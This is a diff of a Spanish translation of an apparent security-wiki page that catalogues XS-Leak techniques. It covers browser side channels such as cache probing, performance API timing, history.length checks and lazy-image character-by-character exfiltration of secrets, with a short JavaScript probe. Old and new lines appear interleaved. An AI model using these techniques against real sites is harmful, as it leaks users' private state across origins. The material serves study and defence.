- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Uso de API
|
||||
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
||||
- **Summary:** Detectar si un service worker está registrado para un origen específico.
|
||||
- **Summary:** Detectar si un worker de servicio está registrado para un origen específico.
|
||||
- **Code Example**:
|
||||
|
||||
Los service workers son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
|
||||
Si un **recurso almacenado en caché** por un **service worker** es accedido a través de **iframe**, el recurso será **cargado desde la caché del service worker**.\
|
||||
Para detectar si el recurso fue **cargado desde la caché del service worker**, se puede utilizar la **API de Rendimiento**.\
|
||||
Esto también podría hacerse con un ataque de Tiempo (consulta el documento para más información).
|
||||
Los workers de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
|
||||
Si un **recurso almacenado en caché** por un **worker de servicio** es accedido a través de **iframe**, el recurso será **cargado desde la caché del worker de servicio**.\
|
||||
Para detectar si el recurso fue **cargado desde la caché del worker de servicio**, se puede utilizar la **API de Rendimiento**.\
|
||||
Esto también podría hacerse con un ataque de temporización (consulta el documento para más información).
|
||||
|
||||
### Cache
|
||||
### Caché
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Tiempo
|
||||
- **Detectable Difference**: Temporización
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||||
- **Summary:** Es posible verificar si un recurso fue almacenado en la caché.
|
||||
- **Summary:** Es posible verificar si un recurso fue almacenado en caché.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||||
|
||||
Usando la [API de Rendimiento](xs-search.md#performance-api) es posible verificar si un recurso está en caché.
|
||||
|
||||
### Network Duration
|
||||
### Duración de la Red
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Contenido de la Página
|
||||
- **Detectable Difference**: Contenido de la página
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
- **Summary:** Es posible recuperar la duración de la red de una solicitud desde la API `performance`.
|
||||
- **Summary:** Es posible recuperar la duración de la red de una solicitud desde la API de `performance`.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
|
||||
## Error Messages Technique
|
||||
## Técnica de Mensajes de Error
|
||||
|
||||
### Media Error
|
||||
### Error de Medios
|
||||
|
||||
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
||||
- **Detectable Difference**: Código de Estado
|
||||
- **Detectable Difference**: Código de estado
|
||||
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||||
- **Summary:** En Firefox es posible filtrar con precisión el código de estado de una solicitud de origen cruzado.
|
||||
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||||
@ -553,7 +553,7 @@ Consulta el enlace para más información sobre el ataque.
|
||||
- **Resumen**: Si el encabezado Origin se refleja en el encabezado `Access-Control-Allow-Origin`, es posible verificar si un recurso ya está en la caché.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si no se **genera un error**, significa que fue **recuperado correctamente de la web**; si se **genera un error**, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante)**.**\
|
||||
En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si no se **genera un error**, significa que fue **recuperado correctamente de la web**, si se **genera un error**, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante)**.**\
|
||||
Ten en cuenta que si el origen no se refleja pero se usa un comodín (`Access-Control-Allow-Origin: *`), esto no funcionará.
|
||||
|
||||
## Técnica de Atributos Legibles
|
||||
@ -576,7 +576,7 @@ Al enviar una solicitud utilizando la Fetch API con `redirect: "manual"` y otros
|
||||
- **Resumen:** Las páginas protegidas por la Política de Apertura de Origen Cruzado (COOP) impiden el acceso desde interacciones de origen cruzado.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Un atacante es capaz de deducir la presencia del encabezado de la Política de Apertura de Origen Cruzado (COOP) en una respuesta HTTP de origen cruzado. COOP es utilizado por aplicaciones web para impedir que sitios externos obtengan referencias de ventana arbitrarias. La visibilidad de este encabezado puede discernirse al intentar acceder a la **referencia `contentWindow`**. En escenarios donde COOP se aplica condicionalmente, la **propiedad `opener`** se convierte en un indicador revelador: es **indefinida** cuando COOP está activo y **definida** en su ausencia.
|
||||
Un atacante es capaz de deducir la presencia del encabezado de la Política de Apertura de Origen Cruzado (COOP) en una respuesta HTTP de origen cruzado. COOP es utilizado por aplicaciones web para impedir que sitios externos obtengan referencias de ventana arbitrarias. La visibilidad de este encabezado puede discernirse al intentar acceder a la **referencia `contentWindow`**. En escenarios donde COOP se aplica condicionalmente, la **propiedad `opener`** se convierte en un indicador revelador: es **indefinida** cuando COOP está activo, y **definida** en su ausencia.
|
||||
|
||||
### Longitud Máxima de URL - Lado del Servidor
|
||||
|
||||
@ -607,7 +607,7 @@ Según la [documentación de Chromium](https://chromium.googlesource.com/chromiu
|
||||
|
||||
Por lo tanto, si la **URL de redirección respondida es más grande en uno de los casos**, es posible hacer que redirija con una **URL mayor a 2MB** para alcanzar el **límite de longitud**. Cuando esto sucede, Chrome muestra una página **`about:blank#blocked`**.
|
||||
|
||||
La **diferencia notable** es que si la **redirección** se **completó**, `window.origin` genera un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se **alcanzó el límite** y la página cargada fue **`about:blank#blocked`**, el **origen** de la ventana permanece como el de la **padre**, que es una **información accesible.**
|
||||
La **diferencia notable** es que si la **redirección** fue **completada**, `window.origin` genera un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se **alcanzó el límite** y la página cargada fue **`about:blank#blocked`**, el **origen** de la ventana permanece como el de la **padre**, que es una **información accesible.**
|
||||
|
||||
Toda la información adicional necesaria para alcanzar los **2MB** se puede agregar a través de un **hash** en la URL inicial para que se **utilice en la redirección**.
|
||||
|
||||
@ -630,11 +630,11 @@ Si el **número máximo** de **redirecciones** a seguir de un navegador es **20*
|
||||
- **Métodos de Inclusión**: Marcos, Ventanas emergentes
|
||||
- **Diferencia Detectable**: Redirecciones
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||||
- **Resumen:** El código JavaScript manipula el historial del navegador y se puede acceder a través de la propiedad de longitud.
|
||||
- **Resumen:** El código JavaScript manipula el historial del navegador y se puede acceder a él mediante la propiedad de longitud.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
La **API de Historial** permite al código JavaScript manipular el historial del navegador, que **guarda las páginas visitadas por un usuario**. Un atacante puede usar la propiedad de longitud como un método de inclusión: para detectar navegación de JavaScript y HTML.\
|
||||
**Verificando `history.length`**, haciendo que un usuario **navegue** a una página, **cambiándola** **de nuevo** al mismo origen y **verificando** el nuevo valor de **`history.length`**.
|
||||
**Verificando `history.length`**, haciendo que un usuario **navegue** a una página, **cambiando** de nuevo a la misma origen y **verificando** el nuevo valor de **`history.length`**.
|
||||
|
||||
### Longitud del Historial con la misma URL
|
||||
|
||||
@ -643,7 +643,7 @@ La **API de Historial** permite al código JavaScript manipular el historial del
|
||||
- **Resumen:** Es posible adivinar si la ubicación de un marco/ventana emergente está en una URL específica abusando de la longitud del historial.
|
||||
- **Ejemplo de Código**: A continuación
|
||||
|
||||
Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **inmediatamente** **cambiarla a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada** pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
|
||||
Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **cambiarla inmediatamente a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada** pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -682,12 +682,12 @@ Un ejemplo de esta técnica es que en Chrome, un **PDF** puede ser **detectado**
|
||||
- **Resumen:** Lee el valor filtrado para distinguir entre 2 posibles estados
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
La filtración de información a través de elementos HTML es una preocupación en la seguridad web, particularmente cuando se generan archivos de medios dinámicos basados en la información del usuario, o cuando se añaden marcas de agua, alterando el tamaño del medio. Esto puede ser explotado por atacantes para diferenciar entre posibles estados analizando la información expuesta por ciertos elementos HTML.
|
||||
La filtración de información a través de elementos HTML es una preocupación en la seguridad web, particularmente cuando se generan archivos multimedia dinámicos basados en la información del usuario, o cuando se añaden marcas de agua, alterando el tamaño del medio. Esto puede ser explotado por atacantes para diferenciar entre posibles estados analizando la información expuesta por ciertos elementos HTML.
|
||||
|
||||
### Información Expuesta por Elementos HTML
|
||||
|
||||
- **HTMLMediaElement**: Este elemento revela la `duración` y los tiempos `buffered` del medio, que se pueden acceder a través de su API. [Lee más sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Expone `videoHeight` y `videoWidth`. En algunos navegadores, propiedades adicionales como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount` están disponibles, ofreciendo información más detallada sobre el contenido del medio. [Lee más sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **HTMLVideoElement**: Expone `videoHeight` y `videoWidth`. En algunos navegadores, propiedades adicionales como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount` están disponibles, ofreciendo información más detallada sobre el contenido multimedia. [Lee más sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Esta función proporciona detalles sobre la calidad de reproducción de video, incluyendo `totalVideoFrames`, que puede indicar la cantidad de datos de video procesados. [Lee más sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Este elemento filtra la `altura` y `ancho` de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función `image.decode()` será rechazada, indicando el fallo en cargar la imagen correctamente. [Lee más sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
@ -699,10 +699,10 @@ La filtración de información a través de elementos HTML es una preocupación
|
||||
- **Resumen:** Identificar variaciones en el estilo del sitio web que correlacionen con el estado o estatus del usuario.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Las aplicaciones web pueden cambiar el **estilo del sitio web dependiendo del estado del usuario**. Los archivos CSS de origen cruzado pueden ser incrustados en la página del atacante con el **elemento HTML link**, y las **reglas** serán **aplicadas** a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** dependiendo del estado del usuario.\
|
||||
Las aplicaciones web pueden cambiar el **estilo del sitio web dependiendo del estado del usuario**. Los archivos CSS de origen cruzado pueden ser incrustados en la página del atacante con el **elemento HTML link**, y las **reglas** se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** dependiendo del estado del usuario.\
|
||||
Como técnica de filtración, el atacante puede usar el método `window.getComputedStyle` para **leer propiedades CSS** de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.
|
||||
|
||||
### Historia CSS
|
||||
### Historial CSS
|
||||
|
||||
- **Métodos de Inclusión**: Elementos HTML
|
||||
- **Diferencia Detectable**: Contenido de la Página
|
||||
@ -725,7 +725,7 @@ Para más detalles sobre estas propiedades y métodos, visita sus páginas de do
|
||||
- `getComputedStyle()`: [Documentación MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [Documentación MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
|
||||
### Filtración de X-Frame de ContentDocument
|
||||
### Filtración X-Frame de ContentDocument
|
||||
|
||||
- **Métodos de Inclusión**: Marcos
|
||||
- **Diferencia Detectable**: Encabezados
|
||||
@ -769,14 +769,14 @@ En escenarios donde solo los usuarios autenticados pueden desencadenar tales des
|
||||
> Esta es la razón por la que esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no puede ser compartida. Puedes encontrar más detalles aquí: [Ganar seguridad y privacidad al particionar la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Comentario de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de una navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ de marco.
|
||||
Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ del marco.
|
||||
|
||||
Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen fue cambiado después de la detención, significa que el recurso fue almacenado en caché.\
|
||||
O simplemente podría **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que tarda**.
|
||||
O simplemente podría **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que toma**.
|
||||
|
||||
### Redirección Manual <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Redirecciones
|
||||
- **Más info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Resumen:** Es posible averiguar si una respuesta a una solicitud fetch es una redirección
|
||||
@ -786,7 +786,7 @@ O simplemente podría **enviar algún fetch a la página potencialmente almacena
|
||||
|
||||
### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Tiempos
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Resumen:** Es posible intentar cargar un recurso y abortar antes de que se cargue. Dependiendo de si se activa un error, el recurso fue o no almacenado en caché.
|
||||
@ -799,7 +799,7 @@ Usa _**fetch**_ y _**setTimeout**_ con un **AbortController** para detectar si e
|
||||
- **Métodos de Inclusión**: Elementos HTML (script)
|
||||
- **Diferencia Detectable**: Contenido de la Página
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Resumen:** Es posible **sobrescribir funciones integradas** y leer sus argumentos incluso desde **scripts de origen cruzado** (que no pueden ser leídos directamente), esto podría **filtrar información valiosa**.
|
||||
- **Resumen:** Es posible **sobrescribir funciones integradas** y leer sus argumentos incluso desde **scripts de origen cruzado** (que no se pueden leer directamente), esto podría **filtrar información valiosa**.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -812,17 +812,17 @@ Usa _**fetch**_ y _**setTimeout**_ con un **AbortController** para detectar si e
|
||||
|
||||
En el escenario dado, el atacante toma la iniciativa de registrar un **service worker** dentro de uno de sus dominios, específicamente "attacker.com". A continuación, el atacante abre una nueva ventana en el sitio web objetivo desde el documento principal e instruye al **service worker** para que comience un temporizador. A medida que la nueva ventana comienza a cargarse, el atacante navega la referencia obtenida en el paso anterior a una página gestionada por el **service worker**.
|
||||
|
||||
Al llegar la solicitud iniciada en el paso anterior, el **service worker** responde con un código de estado **204 (Sin Contenido)**, terminando efectivamente el proceso de navegación. En este punto, el **service worker** captura una medición del temporizador iniciado anteriormente en el paso dos. Esta medición está influenciada por la duración de JavaScript que causa retrasos en el proceso de navegación.
|
||||
Al llegar la solicitud iniciada en el paso anterior, el **service worker** responde con un código de estado **204 (Sin Contenido)**, terminando efectivamente el proceso de navegación. En este punto, el **service worker** captura una medición del temporizador iniciado anteriormente en el paso dos. Esta medición se ve influenciada por la duración de JavaScript que causa retrasos en el proceso de navegación.
|
||||
|
||||
> [!WARNING]
|
||||
> En un tiempo de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
|
||||
|
||||
### Tiempo de Fetch
|
||||
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Tiempos (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud. Otros relojes podrían ser utilizados.
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud. Se pueden usar otros relojes.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
|
||||
### Tiempo entre Ventanas
|
||||
@ -830,7 +830,7 @@ Al llegar la solicitud iniciada en el paso anterior, el **service worker** respo
|
||||
- **Métodos de Inclusión**: Pop-ups
|
||||
- **Diferencia Detectable**: Tiempos (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud usando `window.open`. Otros relojes podrían ser utilizados.
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud usando `window.open`. Se pueden usar otros relojes.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
## Con HTML o Re Inyección
|
||||
@ -845,7 +845,7 @@ dangling-markup-html-scriptless-injection/
|
||||
|
||||
### Carga Perezosa de Imágenes
|
||||
|
||||
Si necesitas **exfiltrar contenido** y puedes **agregar HTML previo al secreto**, deberías revisar las **técnicas comunes de marcado colgante**.\
|
||||
Si necesitas **exfiltrar contenido** y puedes **agregar HTML antes del secreto**, deberías revisar las **técnicas comunes de marcado colgante**.\
|
||||
Sin embargo, si por cualquier razón **DEBES** hacerlo **carácter por carácter** (quizás la comunicación es a través de un acierto de caché), puedes usar este truco.
|
||||
|
||||
**Las imágenes** en HTML tienen un atributo "**loading**" cuyo valor puede ser "**lazy**". En ese caso, la imagen se cargará cuando se vea y no mientras la página se está cargando:
|
||||
@ -863,7 +863,7 @@ Sin embargo, haces que el **bot acceda a la página** con algo como
|
||||
```
|
||||
#:~:text=SECR
|
||||
```
|
||||
La página web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
|
||||
Así que la página web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
|
||||
|
||||
Donde post.html contiene los caracteres basura del atacante y una imagen de carga perezosa, y luego se añade el secreto del bot.
|
||||
|
||||
@ -873,7 +873,7 @@ Un ejemplo de código para explotar esto: [https://gist.github.com/jorgectf/993d
|
||||
|
||||
### Carga Perezosa de Imágenes Basada en Tiempo
|
||||
|
||||
Si **no es posible cargar una imagen externa** que podría indicar al atacante que la imagen se ha cargado, otra opción sería intentar **adivinar el carácter varias veces y medir eso**. Si la imagen se carga, todas las solicitudes tardarían más que si la imagen no se carga. Esto es lo que se utilizó en la [**solución de este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aquí:**
|
||||
Si **no es posible cargar una imagen externa** que podría indicar al atacante que la imagen fue cargada, otra opción sería intentar **adivinar el carácter varias veces y medir eso**. Si la imagen se carga, todas las solicitudes tardarían más que si la imagen no se carga. Esto es lo que se utilizó en la [**solución de este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aquí:**
|
||||
|
||||
{{#ref}}
|
||||
xs-search/event-loop-blocking-+-lazy-images.md
|
||||
|
||||
@ -11,7 +11,7 @@ Los componentes clave involucrados en este ataque incluyen:
|
||||
- **Web Vulnerable**: El sitio web objetivo del cual se pretende extraer información.
|
||||
- **Web del Atacante**: El sitio web malicioso creado por el atacante, que la víctima visita, alojando el exploit.
|
||||
- **Método de Inclusión**: La técnica empleada para incorporar la Web Vulnerable en la Web del Atacante (por ejemplo, window.open, iframe, fetch, etiqueta HTML con href, etc.).
|
||||
- **Técnica de Filtración**: Técnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en la información recopilada a través del método de inclusión.
|
||||
- **Técnica de Filtración**: Técnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en información recopilada a través del método de inclusión.
|
||||
- **Estados**: Las dos condiciones potenciales de la Web Vulnerable, que el atacante busca distinguir.
|
||||
- **Diferencias Detectables**: Variaciones observables de las que el atacante se basa para inferir el estado de la Web Vulnerable.
|
||||
|
||||
@ -24,19 +24,19 @@ Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vul
|
||||
- **Redirecciones**: Detectar navegaciones a diferentes páginas, no solo redirecciones HTTP, sino también aquellas desencadenadas por JavaScript o HTML.
|
||||
- **Contenido de la Página**: Observar **variaciones en el cuerpo de la respuesta HTTP** o en sub-recursos de la página, como el **número de marcos incrustados** o disparidades en el tamaño de las imágenes.
|
||||
- **Encabezado HTTP**: Notar la presencia o posiblemente el valor de un **encabezado de respuesta HTTP específico**, incluyendo encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
|
||||
- **Temporización**: Notar disparidades de tiempo consistentes entre los dos estados.
|
||||
- **Temporización**: Notar discrepancias de tiempo consistentes entre los dos estados.
|
||||
|
||||
### Métodos de Inclusión
|
||||
|
||||
- **Elementos HTML**: HTML ofrece varios elementos para **inclusión de recursos de origen cruzado**, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso que no sea HTML. Se puede encontrar una compilación de elementos HTML potenciales para este propósito en [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Marcos**: Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML directamente en la página del atacante. Si la página **carece de protección contra marcos**, JavaScript puede acceder al objeto de ventana del recurso enmarcado a través de la propiedad contentWindow.
|
||||
- **Ventanas Emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
|
||||
- **Marcos**: Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML directamente en la página del atacante. Si la página **carece de protección de enmarcado**, JavaScript puede acceder al objeto de ventana del recurso enmarcado a través de la propiedad contentWindow.
|
||||
- **Ventanas emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
|
||||
- **Solicitudes de JavaScript**: JavaScript permite solicitudes directas a recursos objetivo utilizando **XMLHttpRequests** o la **Fetch API**. Estos métodos ofrecen un control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.
|
||||
|
||||
### Técnicas de Filtración
|
||||
|
||||
- **Manejador de Eventos**: Una técnica clásica de filtración en XS-Leaks, donde los manejadores de eventos como **onload** y **onerror** proporcionan información sobre el éxito o fracaso de la carga de recursos.
|
||||
- **Mensajes de Error**: Excepciones de JavaScript o páginas de error especiales pueden proporcionar información de filtración ya sea directamente desde el mensaje de error o diferenciando entre su presencia y ausencia.
|
||||
- **Mensajes de Error**: Excepciones de JavaScript o páginas de error especiales pueden proporcionar información de filtración ya sea directamente del mensaje de error o diferenciando entre su presencia y ausencia.
|
||||
- **Límites Globales**: Limitaciones físicas de un navegador, como la capacidad de memoria u otros límites impuestos por el navegador, pueden señalar cuando se alcanza un umbral, sirviendo como técnica de filtración.
|
||||
- **Estado Global**: Interacciones detectables con los **estados globales** de los navegadores (por ejemplo, la interfaz de Historia) pueden ser explotadas. Por ejemplo, el **número de entradas** en el historial de un navegador puede ofrecer pistas sobre páginas de origen cruzado.
|
||||
- **API de Rendimiento**: Esta API proporciona **detalles de rendimiento de la página actual**, incluyendo el tiempo de red para el documento y recursos cargados, permitiendo inferencias sobre los recursos solicitados.
|
||||
@ -49,7 +49,7 @@ XSinator es una herramienta automática para **verificar navegadores contra vari
|
||||
Puedes **acceder a la herramienta en** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **trabajadores de servicio** ya que interferirían con otras filtraciones en XSinator. Además, elegimos **excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos.
|
||||
